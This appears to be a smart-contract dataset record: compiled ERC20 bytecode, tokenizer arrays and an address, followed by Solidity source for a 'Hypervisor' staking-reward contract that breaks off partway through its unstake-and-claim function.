6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f47565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610fce565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561086e57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108f957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561093557600080fd5b61097e600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610cc3565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a47600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610cc3565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b10600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610fce565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cbb5780601f10610c9057610100808354040283529160200191610cbb565b820191906000526020600020905b815481529060010190602001808311610c9e57829003601f168201915b505050505081565b6000828211151515610cd457600080fd5b818303905092915050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d2f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d6b57600080fd5b610db4600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610cc3565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e40600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610fce565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610f0257600080fd5b8183811515610f0d57fe5b04905092915050565b600081830290506000831480610f365750818382811515610f3357fe5b04145b1515610f4157600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610fe457600080fd5b9291505056fea165627a7a72305820b24a2314f4bb98f2ade1b1095e4b9f78ae6d9a7503a6d9f147e57ed918f5ce4a0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2278, 2692, 2278, 2487, 2063, 2683, 24594, 2497, 2620, 2620, 2094, 21057, 2581, 2094, 2581, 2581, 2549, 11329, 22022, 2497, 2683, 21619, 2475, 2063, 18827, 16703, 2487, 5243, 2487, 2050, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 3206, 9413, 2278, 11387, 18447, 2121, 12172, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 19204, 12384, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 5703, 1007, 1025, 3853, 21447, 1006, 4769, 19204, 12384, 2121, 1010, 4769, 5247, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 3588, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 19204, 2015, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,419
0x96C105E9e9eAb36eb8e2f851A5dabFbBd397c085
// SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {IFactory} from "../factory/IFactory.sol"; import {IInstanceRegistry} from "../factory/InstanceRegistry.sol"; import {IUniversalVault} from "../visor/Visor.sol"; import {IRewardPool} from "./RewardPool.sol"; import {Powered} from "./Powered.sol"; interface IRageQuit { function rageQuit() external; } interface IHypervisor is IRageQuit { /* admin events */ event HypervisorCreated(address rewardPool, address powerSwitch); event HypervisorFunded(uint256 amount, uint256 duration); event BonusTokenRegistered(address token); event VaultFactoryRegistered(address factory); event VaultFactoryRemoved(address factory); /* user events */ event Staked(address vault, uint256 amount); event Unstaked(address vault, uint256 amount); event RewardClaimed(address vault, address recipient, address token, uint256 amount); /* data types */ struct HypervisorData { address stakingToken; address rewardToken; address rewardPool; RewardScaling rewardScaling; uint256 rewardSharesOutstanding; uint256 totalStake; uint256 totalStakeUnits; uint256 lastUpdate; RewardSchedule[] rewardSchedules; } struct RewardSchedule { uint256 duration; uint256 start; uint256 shares; } struct VaultData { uint256 totalStake; StakeData[] stakes; } struct StakeData { uint256 amount; uint256 timestamp; } struct RewardScaling { uint256 floor; uint256 ceiling; uint256 time; } struct RewardOutput { uint256 lastStakeAmount; uint256 newStakesCount; uint256 reward; uint256 newTotalStakeUnits; } /* user functions */ function stake( address vault, uint256 amount, bytes calldata permission ) external; function unstakeAndClaim( address vault, uint256 amount, bytes calldata permission ) external; /* getter functions */ function getHypervisorData() external view returns (HypervisorData memory hypervisor); function getBonusTokenSetLength() external view returns (uint256 length); function getBonusTokenAtIndex(uint256 index) external view returns (address bonusToken); function getVaultFactorySetLength() external view returns (uint256 length); function getVaultFactoryAtIndex(uint256 index) external view returns (address factory); function getVaultData(address vault) external view returns (VaultData memory vaultData); function isValidAddress(address target) external view returns (bool validity); function isValidVault(address target) external view returns (bool validity); function getCurrentUnlockedRewards() external view returns (uint256 unlockedRewards); function getFutureUnlockedRewards(uint256 timestamp) external view returns (uint256 unlockedRewards); function getCurrentVaultReward(address vault) external view returns (uint256 reward); function getCurrentStakeReward(address vault, uint256 stakeAmount) external view returns (uint256 reward); function getFutureVaultReward(address vault, uint256 timestamp) external view returns (uint256 reward); function getFutureStakeReward( address vault, uint256 stakeAmount, uint256 timestamp ) external view returns (uint256 reward); function getCurrentVaultStakeUnits(address vault) external view returns (uint256 stakeUnits); function getFutureVaultStakeUnits(address vault, uint256 timestamp) external view returns (uint256 stakeUnits); function getCurrentTotalStakeUnits() external view returns (uint256 totalStakeUnits); function getFutureTotalStakeUnits(uint256 timestamp) external view returns (uint256 totalStakeUnits); /* pure functions */ function calculateTotalStakeUnits(StakeData[] memory stakes, uint256 timestamp) external pure returns (uint256 totalStakeUnits); function calculateStakeUnits( uint256 amount, uint256 start, uint256 end ) external pure returns (uint256 stakeUnits); function calculateUnlockedRewards( RewardSchedule[] memory rewardSchedules, uint256 rewardBalance, uint256 sharesOutstanding, uint256 timestamp ) external pure returns (uint256 unlockedRewards); function calculateRewardFromStakes( StakeData[] memory stakes, uint256 unstakeAmount, uint256 unlockedRewards, uint256 totalStakeUnits, uint256 timestamp, RewardScaling memory rewardScaling ) external pure returns (RewardOutput memory out); function calculateReward( uint256 unlockedRewards, uint256 stakeAmount, uint256 stakeDuration, uint256 totalStakeUnits, RewardScaling memory rewardScaling ) external pure returns (uint256 reward); } /// @title Hypervisor /// @notice Reward distribution contract with time multiplier /// Access Control /// - Power controller: /// Can power off / shutdown the Hypervisor /// Can withdraw rewards from reward pool once shutdown /// - Proxy owner: /// Can change arbitrary logic / state by upgrading the Hypervisor /// Is unable to operate on user funds due to UniversalVault /// Is unable to operate on reward pool funds when reward pool is offline / shutdown /// - Hypervisor admin: /// Can add funds to the Hypervisor, register bonus tokens, and whitelist new vault factories /// Is a subset of proxy owner permissions /// - User: /// Can deposit / withdraw / ragequit /// Hypervisor State Machine /// - Online: /// Hypervisor is operating normally, all functions are enabled /// - Offline: /// Hypervisor is temporarely disabled for maintenance /// User deposits and withdrawls are disabled, ragequit remains enabled /// Users can withdraw their stake through rageQuit() but forego their pending reward /// Should only be used when downtime required for an upgrade /// - Shutdown: /// Hypervisor is permanently disabled /// All functions are disabled with the exception of ragequit /// Users can withdraw their stake through rageQuit() /// Power controller can withdraw from the reward pool /// Should only be used if Proxy Owner role is compromized contract Hypervisor is IHypervisor, Powered, Ownable { using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; /* constants */ // An upper bound on the number of active stakes per vault is required to prevent // calls to rageQuit() from reverting. // With 30 stakes in a vault, ragequit costs 432811 gas which is conservatively lower // than the hardcoded limit of 500k gas on the vault. // This limit is configurable and could be increased in a future deployment. // Ultimately, to avoid a need for fixed upper bounds, the EVM would need to provide // an error code that allows for reliably catching out-of-gas errors on remote calls. uint256 public constant MAX_STAKES_PER_VAULT = 30; uint256 public constant MAX_REWARD_TOKENS = 50; uint256 public constant BASE_SHARES_PER_WEI = 1000000; uint256 public stakeLimit = 2500 ether; /* storage */ HypervisorData private _hypervisor; mapping(address => VaultData) private _vaults; EnumerableSet.AddressSet private _bonusTokenSet; EnumerableSet.AddressSet private _vaultFactorySet; /* initializer */ /// @notice Initizalize Hypervisor /// access control: only proxy constructor /// state machine: can only be called once /// state scope: set initialization variables /// token transfer: none /// @param ownerAddress address The admin address /// @param rewardPoolFactory address The factory to use for deploying the RewardPool /// @param powerSwitchFactory address The factory to use for deploying the PowerSwitch /// @param stakingToken address The address of the staking token for this Hypervisor /// @param rewardToken address The address of the reward token for this Hypervisor /// @param rewardScaling RewardScaling The config for reward scaling floor, ceiling, and time constructor( address ownerAddress, address rewardPoolFactory, address powerSwitchFactory, address stakingToken, address rewardToken, RewardScaling memory rewardScaling, uint256 _stakeLimit ) { // the scaling floor must be smaller than ceiling require(rewardScaling.floor <= rewardScaling.ceiling, "Hypervisor: floor above ceiling"); // setting rewardScalingTime to 0 would cause divide by zero error // to disable reward scaling, use rewardScalingFloor == rewardScalingCeiling require(rewardScaling.time != 0, "Hypervisor: scaling time cannot be zero"); // deploy power switch address powerSwitch = IFactory(powerSwitchFactory).create(abi.encode(ownerAddress)); // deploy reward pool address rewardPool = IFactory(rewardPoolFactory).create(abi.encode(powerSwitch)); // set internal configs Ownable.transferOwnership(ownerAddress); Powered._setPowerSwitch(powerSwitch); // commit to storage _hypervisor.stakingToken = stakingToken; _hypervisor.rewardToken = rewardToken; _hypervisor.rewardPool = rewardPool; _hypervisor.rewardScaling = rewardScaling; stakeLimit = _stakeLimit; // emit event emit HypervisorCreated(rewardPool, powerSwitch); } /* getter functions */ function getBonusTokenSetLength() external view override returns (uint256 length) { return _bonusTokenSet.length(); } function getBonusTokenAtIndex(uint256 index) external view override returns (address bonusToken) { return _bonusTokenSet.at(index); } function getVaultFactorySetLength() external view override returns (uint256 length) { return _vaultFactorySet.length(); } function getVaultFactoryAtIndex(uint256 index) external view override returns (address factory) { return _vaultFactorySet.at(index); } function isValidVault(address target) public view override returns (bool validity) { // validate target is created from whitelisted vault factory for (uint256 index = 0; index < _vaultFactorySet.length(); index++) { if (IInstanceRegistry(_vaultFactorySet.at(index)).isInstance(target)) { return true; } } // explicit return return false; } function isValidAddress(address target) public view override returns (bool validity) { // sanity check target for potential input errors return target != address(this) && target != address(0) && target != _hypervisor.stakingToken && target != _hypervisor.rewardToken && target != _hypervisor.rewardPool && !_bonusTokenSet.contains(target); } /* Hypervisor getters */ function getHypervisorData() external view override returns (HypervisorData memory hypervisor) { return _hypervisor; } function getCurrentUnlockedRewards() public view override returns (uint256 unlockedRewards) { // calculate reward available based on state return getFutureUnlockedRewards(block.timestamp); } function getFutureUnlockedRewards(uint256 timestamp) public view override returns (uint256 unlockedRewards) { // get reward amount remaining uint256 remainingRewards = IERC20(_hypervisor.rewardToken).balanceOf(_hypervisor.rewardPool); // calculate reward available based on state unlockedRewards = calculateUnlockedRewards( _hypervisor.rewardSchedules, remainingRewards, _hypervisor.rewardSharesOutstanding, timestamp ); // explicit return return unlockedRewards; } function getCurrentTotalStakeUnits() public view override returns (uint256 totalStakeUnits) { // calculate new stake units return getFutureTotalStakeUnits(block.timestamp); } function getFutureTotalStakeUnits(uint256 timestamp) public view override returns (uint256 totalStakeUnits) { // return early if no change if (timestamp == _hypervisor.lastUpdate) return _hypervisor.totalStakeUnits; // calculate new stake units uint256 newStakeUnits = calculateStakeUnits(_hypervisor.totalStake, _hypervisor.lastUpdate, timestamp); // add to cached total totalStakeUnits = _hypervisor.totalStakeUnits.add(newStakeUnits); // explicit return return totalStakeUnits; } /* vault getters */ function getVaultData(address vault) external view override returns (VaultData memory vaultData) { return _vaults[vault]; } function getCurrentVaultReward(address vault) external view override returns (uint256 reward) { // calculate rewards return calculateRewardFromStakes( _vaults[vault] .stakes, _vaults[vault] .totalStake, getCurrentUnlockedRewards(), getCurrentTotalStakeUnits(), block .timestamp, _hypervisor .rewardScaling ) .reward; } function getFutureVaultReward(address vault, uint256 timestamp) external view override returns (uint256 reward) { // calculate rewards return calculateRewardFromStakes( _vaults[vault] .stakes, _vaults[vault] .totalStake, getFutureUnlockedRewards(timestamp), getFutureTotalStakeUnits(timestamp), timestamp, _hypervisor .rewardScaling ) .reward; } function getCurrentStakeReward(address vault, uint256 stakeAmount) external view override returns (uint256 reward) { // calculate rewards return calculateRewardFromStakes( _vaults[vault] .stakes, stakeAmount, getCurrentUnlockedRewards(), getCurrentTotalStakeUnits(), block .timestamp, _hypervisor .rewardScaling ) .reward; } function getFutureStakeReward( address vault, uint256 stakeAmount, uint256 timestamp ) external view override returns (uint256 reward) { // calculate rewards return calculateRewardFromStakes( _vaults[vault] .stakes, stakeAmount, getFutureUnlockedRewards(timestamp), getFutureTotalStakeUnits(timestamp), timestamp, _hypervisor .rewardScaling ) .reward; } function getCurrentVaultStakeUnits(address vault) public view override returns (uint256 stakeUnits) { // calculate stake units return getFutureVaultStakeUnits(vault, block.timestamp); } function getFutureVaultStakeUnits(address vault, uint256 timestamp) public view override returns (uint256 stakeUnits) { // calculate stake units return calculateTotalStakeUnits(_vaults[vault].stakes, timestamp); } /* pure functions */ function calculateTotalStakeUnits(StakeData[] memory stakes, uint256 timestamp) public pure override returns (uint256 totalStakeUnits) { for (uint256 index; index < stakes.length; index++) { // reference stake StakeData memory stakeData = stakes[index]; // calculate stake units uint256 stakeUnits = calculateStakeUnits(stakeData.amount, stakeData.timestamp, timestamp); // add to running total totalStakeUnits = totalStakeUnits.add(stakeUnits); } } function calculateStakeUnits( uint256 amount, uint256 start, uint256 end ) public pure override returns (uint256 stakeUnits) { // calculate duration uint256 duration = end.sub(start); // calculate stake units stakeUnits = duration.mul(amount); // explicit return return stakeUnits; } function calculateUnlockedRewards( RewardSchedule[] memory rewardSchedules, uint256 rewardBalance, uint256 sharesOutstanding, uint256 timestamp ) public pure override returns (uint256 unlockedRewards) { // return 0 if no registered schedules if (rewardSchedules.length == 0) { return 0; } // calculate reward shares locked across all reward schedules uint256 sharesLocked; for (uint256 index = 0; index < rewardSchedules.length; index++) { // fetch reward schedule storage reference RewardSchedule memory schedule = rewardSchedules[index]; // caculate amount of shares available on this schedule // if (now - start) < duration // sharesLocked = shares - (shares * (now - start) / duration) // else // sharesLocked = 0 uint256 currentSharesLocked = 0; if (timestamp.sub(schedule.start) < schedule.duration) { currentSharesLocked = schedule.shares.sub( schedule.shares.mul(timestamp.sub(schedule.start)).div(schedule.duration) ); } // add to running total sharesLocked = sharesLocked.add(currentSharesLocked); } // convert shares to reward // rewardLocked = sharesLocked * rewardBalance / sharesOutstanding uint256 rewardLocked = sharesLocked.mul(rewardBalance).div(sharesOutstanding); // calculate amount available // unlockedRewards = rewardBalance - rewardLocked unlockedRewards = rewardBalance.sub(rewardLocked); // explicit return return unlockedRewards; } function calculateRewardFromStakes( StakeData[] memory stakes, uint256 unstakeAmount, uint256 unlockedRewards, uint256 totalStakeUnits, uint256 timestamp, RewardScaling memory rewardScaling ) public pure override returns (RewardOutput memory out) { uint256 stakesToDrop = 0; while (unstakeAmount > 0) { // fetch vault stake storage reference StakeData memory lastStake = stakes[stakes.length.sub(stakesToDrop).sub(1)]; // calculate stake duration uint256 stakeDuration = timestamp.sub(lastStake.timestamp); uint256 currentAmount; if (lastStake.amount > unstakeAmount) { // set current amount to remaining unstake amount currentAmount = unstakeAmount; // amount of last stake is reduced out.lastStakeAmount = lastStake.amount.sub(unstakeAmount); } else { // set current amount to amount of last stake currentAmount = lastStake.amount; // add to stakes to drop stakesToDrop += 1; } // update remaining unstakeAmount unstakeAmount = unstakeAmount.sub(currentAmount); // calculate reward amount uint256 currentReward = calculateReward( unlockedRewards, currentAmount, stakeDuration, totalStakeUnits, rewardScaling ); // update cumulative reward out.reward = out.reward.add(currentReward); // update cached unlockedRewards unlockedRewards = unlockedRewards.sub(currentReward); // calculate time weighted stake uint256 stakeUnits = currentAmount.mul(stakeDuration); // update cached totalStakeUnits totalStakeUnits = totalStakeUnits.sub(stakeUnits); } // explicit return return RewardOutput( out.lastStakeAmount, stakes.length.sub(stakesToDrop), out.reward, totalStakeUnits ); } function calculateReward( uint256 unlockedRewards, uint256 stakeAmount, uint256 stakeDuration, uint256 totalStakeUnits, RewardScaling memory rewardScaling ) public pure override returns (uint256 reward) { // calculate time weighted stake uint256 stakeUnits = stakeAmount.mul(stakeDuration); // calculate base reward // baseReward = unlockedRewards * stakeUnits / totalStakeUnits uint256 baseReward = 0; if (totalStakeUnits != 0) { // scale reward according to proportional weight baseReward = unlockedRewards.mul(stakeUnits).div(totalStakeUnits); } // calculate scaled reward // if no scaling or scaling period completed // reward = baseReward // else // minReward = baseReward * scalingFloor / scalingCeiling // bonusReward = baseReward // * (scalingCeiling - scalingFloor) / scalingCeiling // * duration / scalingTime // reward = minReward + bonusReward if (stakeDuration >= rewardScaling.time || rewardScaling.floor == rewardScaling.ceiling) { // no reward scaling applied reward = baseReward; } else { // calculate minimum reward using scaling floor uint256 minReward = baseReward.mul(rewardScaling.floor).div(rewardScaling.ceiling); // calculate bonus reward with vested portion of scaling factor uint256 bonusReward = baseReward .mul(stakeDuration) .mul(rewardScaling.ceiling.sub(rewardScaling.floor)) .div(rewardScaling.ceiling) .div(rewardScaling.time); // add minimum reward and bonus reward reward = minReward.add(bonusReward); } // explicit return return reward; } /* admin functions */ function updateStakeLimit(uint256 _stakeLimit) external onlyOwner { stakeLimit = _stakeLimit; } /// @notice Add funds to the Hypervisor /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: /// - increase _hypervisor.rewardSharesOutstanding /// - append to _hypervisor.rewardSchedules /// token transfer: transfer staking tokens from msg.sender to reward pool /// @param amount uint256 Amount of reward tokens to deposit /// @param duration uint256 Duration over which to linearly unlock rewards function fund(uint256 amount, uint256 duration) external onlyOwner onlyOnline { // validate duration require(duration != 0, "Hypervisor: invalid duration"); // create new reward shares // if existing rewards on this Hypervisor // mint new shares proportional to % change in rewards remaining // newShares = remainingShares * newReward / remainingRewards // else // mint new shares with BASE_SHARES_PER_WEI initial conversion rate // store as fixed point number with same of decimals as reward token uint256 newRewardShares; if (_hypervisor.rewardSharesOutstanding > 0) { uint256 remainingRewards = IERC20(_hypervisor.rewardToken).balanceOf(_hypervisor.rewardPool); newRewardShares = _hypervisor.rewardSharesOutstanding.mul(amount).div(remainingRewards); } else { newRewardShares = amount.mul(BASE_SHARES_PER_WEI); } // add reward shares to total _hypervisor.rewardSharesOutstanding = _hypervisor.rewardSharesOutstanding.add(newRewardShares); // store new reward schedule _hypervisor.rewardSchedules.push(RewardSchedule(duration, block.timestamp, newRewardShares)); // transfer reward tokens to reward pool TransferHelper.safeTransferFrom( _hypervisor.rewardToken, msg.sender, _hypervisor.rewardPool, amount ); // emit event emit HypervisorFunded(amount, duration); } /// @notice Add vault factory to whitelist /// @dev use this function to enable stakes to vaults coming from the specified /// factory contract /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - append to _vaultFactorySet /// token transfer: none /// @param factory address The address of the vault factory function registerVaultFactory(address factory) external onlyOwner notShutdown { // add factory to set require(_vaultFactorySet.add(factory), "Hypervisor: vault factory already registered"); // emit event emit VaultFactoryRegistered(factory); } /// @notice Remove vault factory from whitelist /// @dev use this function to disable new stakes to vaults coming from the specified /// factory contract. /// note: vaults with existing stakes from this factory are sill able to unstake /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - remove from _vaultFactorySet /// token transfer: none /// @param factory address The address of the vault factory function removeVaultFactory(address factory) external onlyOwner notShutdown { // remove factory from set require(_vaultFactorySet.remove(factory), "Hypervisor: vault factory not registered"); // emit event emit VaultFactoryRemoved(factory); } /// @notice Register bonus token for distribution /// @dev use this function to enable distribution of any ERC20 held by the RewardPool contract /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: /// - append to _bonusTokenSet /// token transfer: none /// @param bonusToken address The address of the bonus token function registerBonusToken(address bonusToken) external onlyOwner onlyOnline { // verify valid bonus token _validateAddress(bonusToken); // verify bonus token count require(_bonusTokenSet.length() < MAX_REWARD_TOKENS, "Hypervisor: max bonus tokens reached "); // add token to set assert(_bonusTokenSet.add(bonusToken)); // emit event emit BonusTokenRegistered(bonusToken); } /// @notice Rescue tokens from RewardPool /// @dev use this function to rescue tokens from RewardPool contract /// without distributing to stakers or triggering emergency shutdown /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: none /// token transfer: transfer requested token from RewardPool to recipient /// @param token address The address of the token to rescue /// @param recipient address The address of the recipient /// @param amount uint256 The amount of tokens to rescue function rescueTokensFromRewardPool( address token, address recipient, uint256 amount ) external onlyOwner onlyOnline { // verify recipient _validateAddress(recipient); // check not attempting to unstake reward token require(token != _hypervisor.rewardToken, "Hypervisor: invalid address"); // check not attempting to wthdraw bonus token require(!_bonusTokenSet.contains(token), "Hypervisor: invalid address"); // transfer tokens to recipient IRewardPool(_hypervisor.rewardPool).sendERC20(token, recipient, amount); } /* user functions */ /// @notice Stake tokens /// @dev anyone can stake to any vault if they have valid permission /// access control: anyone /// state machine: /// - can be called multiple times /// - only online /// - when vault exists on this Hypervisor /// state scope: /// - append to _vaults[vault].stakes /// - increase _vaults[vault].totalStake /// - increase _hypervisor.totalStake /// - increase _hypervisor.totalStakeUnits /// - increase _hypervisor.lastUpdate /// token transfer: transfer staking tokens from msg.sender to vault /// @param vault address The address of the vault to stake from /// @param amount uint256 The amount of staking tokens to stake function stake( address vault, uint256 amount, bytes calldata permission ) external override onlyOnline { // verify vault is valid require(isValidVault(vault), "Hypervisor: vault is not registered"); // verify non-zero amount require(amount != 0, "Hypervisor: no amount staked"); // fetch vault storage reference VaultData storage vaultData = _vaults[vault]; // verify stakes boundary not reached require( vaultData.stakes.length < MAX_STAKES_PER_VAULT, "Hypervisor: MAX_STAKES_PER_VAULT reached" ); // update cached sum of stake units across all vaults _updateTotalStakeUnits(); // store amount and timestamp vaultData.stakes.push(StakeData(amount, block.timestamp)); // update cached total vault and Hypervisor amounts vaultData.totalStake = vaultData.totalStake.add(amount); // verify stake quantity without bounds require( stakeLimit == 0 || vaultData.totalStake <= stakeLimit, "Hypervisor: Stake limit exceeded" ); _hypervisor.totalStake = _hypervisor.totalStake.add(amount); // call lock on vault IUniversalVault(vault).lock(_hypervisor.stakingToken, amount, permission); // emit event emit Staked(vault, amount); } /// @notice Unstake staking tokens and claim reward /// @dev rewards can only be claimed when unstaking /// access control: only owner of vault /// state machine: /// - when vault exists on this Hypervisor /// - after stake from vault /// - can be called multiple times while sufficient stake remains /// - only online /// state scope: /// - decrease _hypervisor.rewardSharesOutstanding /// - decrease _hypervisor.totalStake /// - increase _hypervisor.lastUpdate /// - modify _hypervisor.totalStakeUnits /// - modify _vaults[vault].stakes /// - decrease _vaults[vault].totalStake /// token transfer: /// - transfer reward tokens from reward pool to recipient /// - transfer bonus tokens from reward pool to recipient /// @param vault address The vault to unstake from /// @param amount uint256 The amount of staking tokens to unstake function unstakeAndClaim( address vault, uint256 amount, bytes calldata permission ) external override onlyOnline { // fetch vault storage reference VaultData storage vaultData = _vaults[vault]; // verify non-zero amount require(amount != 0, "Hypervisor: no amount unstaked"); address recipient = IUniversalVault(vault).owner(); // validate recipient _validateAddress(recipient); // check for sufficient vault stake amount require(vaultData.totalStake >= amount, "Hypervisor: insufficient vault stake"); // check for sufficient Hypervisor stake amount // if this check fails, there is a bug in stake accounting assert(_hypervisor.totalStake >= amount); // update cached sum of stake units across all vaults _updateTotalStakeUnits(); // get reward amount remaining uint256 remainingRewards = IERC20(_hypervisor.rewardToken).balanceOf(_hypervisor.rewardPool); // calculate vested portion of reward pool uint256 unlockedRewards = calculateUnlockedRewards( _hypervisor.rewardSchedules, remainingRewards, _hypervisor.rewardSharesOutstanding, block.timestamp ); // calculate vault time weighted reward with scaling RewardOutput memory out = calculateRewardFromStakes( vaultData.stakes, amount, unlockedRewards, _hypervisor.totalStakeUnits, block.timestamp, _hypervisor.rewardScaling ); // update stake data in storage if (out.newStakesCount == 0) { // all stakes have been unstaked delete vaultData.stakes; } else { // some stakes have been completely or partially unstaked // delete fully unstaked stakes while (vaultData.stakes.length > out.newStakesCount) vaultData.stakes.pop(); // update partially unstaked stake vaultData.stakes[out.newStakesCount.sub(1)].amount = out.lastStakeAmount; } // update cached stake totals vaultData.totalStake = vaultData.totalStake.sub(amount); _hypervisor.totalStake = _hypervisor.totalStake.sub(amount); _hypervisor.totalStakeUnits = out.newTotalStakeUnits; // unlock staking tokens from vault IUniversalVault(vault).unlock(_hypervisor.stakingToken, amount, permission); // emit event emit Unstaked(vault, amount); // only perform on non-zero reward if (out.reward > 0) { // calculate shares to burn // sharesToBurn = sharesOutstanding * reward / remainingRewards uint256 sharesToBurn = _hypervisor.rewardSharesOutstanding.mul(out.reward).div(remainingRewards); // burn claimed shares _hypervisor.rewardSharesOutstanding = _hypervisor.rewardSharesOutstanding.sub(sharesToBurn); // transfer bonus tokens from reward pool to recipient if (_bonusTokenSet.length() > 0) { for (uint256 index = 0; index < _bonusTokenSet.length(); index++) { // fetch bonus token address reference address bonusToken = _bonusTokenSet.at(index); // calculate bonus token amount // bonusAmount = bonusRemaining * reward / remainingRewards uint256 bonusAmount = IERC20(bonusToken).balanceOf(_hypervisor.rewardPool).mul(out.reward).div( remainingRewards ); // transfer bonus token IRewardPool(_hypervisor.rewardPool).sendERC20(bonusToken, recipient, bonusAmount); // emit event emit 